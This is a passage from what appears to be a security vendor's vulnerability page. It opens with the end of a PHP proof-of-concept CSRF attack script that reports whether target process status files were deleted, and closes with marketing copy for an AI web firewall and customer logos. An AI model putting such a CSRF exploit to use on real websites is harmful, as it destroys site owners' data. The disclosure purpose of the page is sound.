// Check if attack was successful
if ($http_code === 200) {
    echo "CSRF attack successful. Process status files deleted.n";
    echo "Response: " . htmlspecialchars($response) . "n";
} else {
    echo "Attack failed with HTTP code: $http_coden";
    echo "Response: " . htmlspecialchars($response) . "n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School